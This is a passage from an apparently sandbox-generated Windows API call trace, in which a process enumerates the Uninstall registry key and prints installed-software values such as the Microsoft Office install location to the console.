0x0 [0147.008] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x46) returned 0x0 [0147.008] GetProcessHeap () returned 0x2e0000 [0147.008] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x48) returned 0x2f9cc0 [0147.008] GetProcessHeap () returned 0x2e0000 [0147.009] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0147.009] GetProcessHeap () returned 0x2e0000 [0147.009] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x48 [0147.009] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f9cc0, pcbData=0x23f670*=0x46 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Program Files\\Microsoft Office", pcbData=0x23f670*=0x44) returned 0x0 [0147.009] __iob_func () returned 0x7fefd702a80 [0147.009] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.009] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.009] _fileno (_File=0x7fefd702ab0) returned 1 [0147.009] _errno () returned 0xc4bb0 [0147.009] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.009] _errno () returned 0xc4bb0 [0147.009] GetFileType (hFile=0x50) returned 0x1 [0147.009] lstrlenW (lpString=" ") returned 4 [0147.009] GetConsoleOutputCP () returned 0x1b5 [0147.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.009] GetConsoleOutputCP () returned 0x1b5 [0147.009] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.009] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.009] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.009] lstrlenW (lpString="InstallLocation") returned 15 [0147.009] __iob_func () returned 0x7fefd702a80 [0147.009] _fileno (_File=0x7fefd702ab0) returned 1 [0147.009] _errno () returned 0xc4bb0 [0147.009] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.009] _errno () returned 0xc4bb0 [0147.009] GetFileType (hFile=0x50) returned 0x1 [0147.009] lstrlenW (lpString="InstallLocation") returned 15 [0147.010] GetConsoleOutputCP () returned 0x1b5 [0147.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.010] GetConsoleOutputCP () returned 0x1b5 [0147.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0147.010] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.010] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.010] __iob_func () returned 0x7fefd702a80 [0147.010] _fileno (_File=0x7fefd702ab0) returned 1 [0147.010] _errno () returned 0xc4bb0 [0147.010] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.010] _errno () returned 0xc4bb0 [0147.010] GetFileType (hFile=0x50) returned 0x1 [0147.010] lstrlenW (lpString=" ") returned 4 [0147.010] GetConsoleOutputCP () returned 0x1b5 [0147.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.010] GetConsoleOutputCP () returned 0x1b5 [0147.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.010] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.010] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.011] __iob_func () returned 0x7fefd702a80 [0147.011] _fileno (_File=0x7fefd702ab0) returned 1 [0147.011] _errno () returned 0xc4bb0 [0147.011] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.011] _errno () returned 0xc4bb0 [0147.011] GetFileType (hFile=0x50) returned 0x1 [0147.011] lstrlenW (lpString="REG_SZ") returned 6 [0147.011] GetConsoleOutputCP () returned 0x1b5 [0147.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.011] GetConsoleOutputCP () returned 0x1b5 [0147.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.011] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.011] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.011] __iob_func () returned 0x7fefd702a80 [0147.011] _fileno (_File=0x7fefd702ab0) returned 1 [0147.011] _errno () returned 0xc4bb0 [0147.011] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.011] _errno () returned 0xc4bb0 [0147.011] GetFileType (hFile=0x50) returned 0x1 [0147.011] lstrlenW (lpString=" ") returned 4 [0147.011] GetConsoleOutputCP () returned 0x1b5 [0147.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.012] GetConsoleOutputCP () returned 0x1b5 [0147.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.012] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.012] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.012] __iob_func () returned 0x7fefd702a80 [0147.012] _fileno (_File=0x7fefd702ab0) returned 1 [0147.012] _errno () returned 0xc4bb0 [0147.012] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.012] _errno () returned 0xc4bb0 [0147.012] GetFileType (hFile=0x50) returned 0x1 [0147.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office") returned 33 [0147.012] GetConsoleOutputCP () returned 0x1b5 [0147.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0147.012] GetConsoleOutputCP () returned 0x1b5 [0147.012] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office", cchWideChar=33, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office", lpUsedDefaultChar=0x0) returned 33 [0147.012] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 33 [0147.012] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.012] __iob_func () returned 0x7fefd702a80 [0147.012] _fileno (_File=0x7fefd702ab0) returned 1 [0147.012] _errno () returned 0xc4bb0 [0147.012] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.012] _errno () returned 0xc4bb0 [0147.012] GetFileType (hFile=0x50) returned 0x1 [0147.013] lstrlenW (lpString="\n") returned 1 [0147.013] GetConsoleOutputCP () returned 0x1b5 [0147.013] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.013] GetConsoleOutputCP () returned 0x1b5 [0147.013] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.013] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.013] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.013] GetProcessHeap () returned 0x2e0000 [0147.013] GetProcessHeap () returned 0x2e0000 [0147.013] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0147.013] GetProcessHeap () returned 0x2e0000 [0147.013] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x48 [0147.013] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0 | out: hHeap=0x2e0000) returned 1 [0147.013] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ClickToRunComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.013] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ClickToRunComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.013] GetProcessHeap () returned 0x2e0000 [0147.013] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.013] GetProcessHeap () returned 0x2e0000 [0147.013] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.013] GetProcessHeap () returned 0x2e0000 [0147.013] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.013] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ClickToRunComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.013] __iob_func () returned 0x7fefd702a80 [0147.013] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.014] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.014] _fileno (_File=0x7fefd702ab0) returned 1 [0147.014] _errno () returned 0xc4bb0 [0147.014] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.014] _errno () returned 0xc4bb0 [0147.014] GetFileType (hFile=0x50) returned 0x1 [0147.014] lstrlenW (lpString=" ") returned 4 [0147.014] GetConsoleOutputCP () returned 0x1b5 [0147.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.014] GetConsoleOutputCP () returned 0x1b5 [0147.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.014] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.014] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.014] lstrlenW (lpString="ClickToRunComponent") returned 19 [0147.014] __iob_func () returned 0x7fefd702a80 [0147.014] _fileno (_File=0x7fefd702ab0) returned 1 [0147.014] _errno () returned 0xc4bb0 [0147.014] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.014] _errno () returned 0xc4bb0 [0147.014] GetFileType (hFile=0x50) returned 0x1 [0147.014] lstrlenW (lpString="ClickToRunComponent") returned 19 [0147.014] GetConsoleOutputCP () returned 0x1b5 [0147.014] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ClickToRunComponent", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0147.014] GetConsoleOutputCP () returned 0x1b5 [0147.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ClickToRunComponent", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ClickToRunComponent", lpUsedDefaultChar=0x0) returned 19 [0147.015] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0147.015] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.015] __iob_func () returned 0x7fefd702a80 [0147.015] _fileno (_File=0x7fefd702ab0) returned 1 [0147.015] _errno () returned 0xc4bb0 [0147.015] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.015] _errno () returned 0xc4bb0 [0147.015] GetFileType (hFile=0x50) returned 0x1 [0147.015] lstrlenW (lpString=" ") returned 4 [0147.015] GetConsoleOutputCP () returned 0x1b5 [0147.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.015] GetConsoleOutputCP () returned 0x1b5 [0147.015] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.015] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.015] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.015] __iob_func () returned 0x7fefd702a80 [0147.015] _fileno (_File=0x7fefd702ab0) returned 1 [0147.015] _errno () returned 0xc4bb0 [0147.015] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.015] _errno () returned 0xc4bb0 [0147.015] GetFileType (hFile=0x50) returned 0x1 [0147.015] lstrlenW (lpString="REG_DWORD") returned 9 [0147.016] GetConsoleOutputCP () returned 0x1b5 [0147.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.016] GetConsoleOutputCP () returned 0x1b5 [0147.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.016] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.016] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.016] __iob_func () returned 0x7fefd702a80 [0147.016] _fileno (_File=0x7fefd702ab0) returned 1 [0147.016] _errno () returned 0xc4bb0 [0147.016] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.016] _errno () returned 0xc4bb0 [0147.016] GetFileType (hFile=0x50) returned 0x1 [0147.016] lstrlenW (lpString=" ") returned 4 [0147.016] GetConsoleOutputCP () returned 0x1b5 [0147.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.016] GetConsoleOutputCP () returned 0x1b5 [0147.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.016] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.016] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.017] __iob_func () returned 0x7fefd702a80 [0147.017] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.017] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.017] _fileno (_File=0x7fefd702ab0) returned 1 [0147.017] _errno () returned 0xc4bb0 [0147.017] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.017] _errno () returned 0xc4bb0 [0147.017] GetFileType (hFile=0x50) returned 0x1 [0147.017] lstrlenW (lpString="0x1") returned 3 [0147.017] GetConsoleOutputCP () returned 0x1b5 [0147.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.017] GetConsoleOutputCP () returned 0x1b5 [0147.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.017] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.017] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.017] __iob_func () returned 0x7fefd702a80 [0147.017] _fileno (_File=0x7fefd702ab0) returned 1 [0147.017] _errno () returned 0xc4bb0 [0147.017] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.017] _errno () returned 0xc4bb0 [0147.017] GetFileType (hFile=0x50) returned 0x1 [0147.017] lstrlenW (lpString="\n") returned 1 [0147.017] GetConsoleOutputCP () returned 0x1b5 [0147.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.018] GetConsoleOutputCP () returned 0x1b5 [0147.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.018] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.018] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.018] GetProcessHeap () returned 0x2e0000 [0147.018] GetProcessHeap () returned 0x2e0000 [0147.018] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.018] GetProcessHeap () returned 0x2e0000 [0147.018] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.018] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.018] __iob_func () returned 0x7fefd702a80 [0147.018] _fileno (_File=0x7fefd702ab0) returned 1 [0147.018] _errno () returned 0xc4bb0 [0147.018] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.018] _errno () returned 0xc4bb0 [0147.018] GetFileType (hFile=0x50) returned 0x1 [0147.018] lstrlenW (lpString="\n") returned 1 [0147.018] GetConsoleOutputCP () returned 0x1b5 [0147.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.018] GetConsoleOutputCP () returned 0x1b5 [0147.018] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.018] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.018] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.019] GetProcessHeap () returned 0x2e0000 [0147.019] GetProcessHeap () returned 0x2e0000 [0147.019] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0147.019] GetProcessHeap () returned 0x2e0000 [0147.019] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0147.019] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0147.019] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.019] GetProcessHeap () returned 0x2e0000 [0147.019] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0147.019] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VisioProRetail - en-us") returned 93 [0147.019] GetProcessHeap () returned 0x2e0000 [0147.019] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xbe) returned 0x2fd170 [0147.019] GetProcessHeap () returned 0x2e0000 [0147.019] GetProcessHeap () returned 0x2e0000 [0147.019] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.019] GetProcessHeap () returned 0x2e0000 [0147.019] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0147.019] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.019] GetProcessHeap () returned 0x2e0000 [0147.019] GetProcessHeap () returned 0x2e0000 [0147.019] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0147.019] GetProcessHeap () returned 0x2e0000 [0147.019] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xbe [0147.019] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0147.019] RegCloseKey (hKey=0x5c) returned 0x0 [0147.019] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x10, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="WIC", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.019] __iob_func () returned 0x7fefd702a80 [0147.019] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.019] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\n") returned 75 [0147.019] _fileno (_File=0x7fefd702ab0) returned 1 [0147.019] _errno () returned 0xc4bb0 [0147.019] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.019] _errno () returned 0xc4bb0 [0147.019] GetFileType (hFile=0x50) returned 0x1 [0147.020] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\n") returned 75 [0147.020] GetConsoleOutputCP () returned 0x1b5 [0147.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\n", cchWideChar=75, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75 [0147.020] GetConsoleOutputCP () returned 0x1b5 [0147.020] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\n", cchWideChar=75, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC\n", lpUsedDefaultChar=0x0) returned 75 [0147.020] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 75 [0147.020] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.020] RegOpenKeyExW (in: hKey=0x58, lpSubKey="WIC", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0147.020] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, 